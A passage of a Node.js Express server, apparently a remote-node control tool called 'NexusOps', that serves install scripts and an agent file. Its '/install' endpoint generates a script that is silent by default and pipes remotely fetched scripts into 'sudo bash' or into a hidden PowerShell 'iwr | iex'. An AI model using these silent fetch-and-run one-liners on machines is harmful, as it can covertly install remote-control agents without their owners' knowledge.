echo "   To stop: launchctl unload $PLIST_FILE"
`;
  res.setHeader('Content-Type', 'text/plain');
  res.send(script);
});

// ── Universal Auto-Install (one command, any OS, fully silent) ──
app.get('/install', (req, res) => {
  const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
  const silent = req.query.silent !== '0';  // silent by default
  const quiet = silent ? '>/dev/null 2>&1' : '';
  const script = `#!/bin/bash
# NexusOps Universal Auto-Installer — one command, any OS
SERVER_URL="${serverUrl}"
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"

case "$(uname -s 2>/dev/null || echo Windows)" in
  Linux)
    echo "[*] Linux detected — deploying via systemd"
    curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
    ;;
  Darwin)
    echo "[*] macOS detected — deploying via launchd"
    curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
    ;;
  CYGWIN*|MINGW*|MSYS*|Windows)
    echo "[*] Windows detected — deploying via PowerShell"
    powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
    ;;
  *)
    echo "[!] Unknown OS — trying Linux installer as fallback"
    curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
    ;;
esac

echo "[*] Agent deployment initiated — it will register within 10 seconds"
`;
  res.setHeader('Content-Type', 'text/plain');
  res.send(script);
});

app.get('/agent.py', (req, res) => {
  res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
});

server.listen(PORT, '0.0.0.0', () => {
  const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
  console.log(`=======================================================`);
  console.log(`🚀 NexusOps Central Node Control Server is running!`);
  console.log(`🌐 Local Web UI:    http://localhost:${PORT}`);
  console.log(`📡 Network Endpoint: ${publicEndpoint}`);
  if (PUBLIC_URL) {
    console.log(`🔗 Public Tunnel:    ${PUBLIC_URL}`);
  }
  console.log(`=======================================================`);
});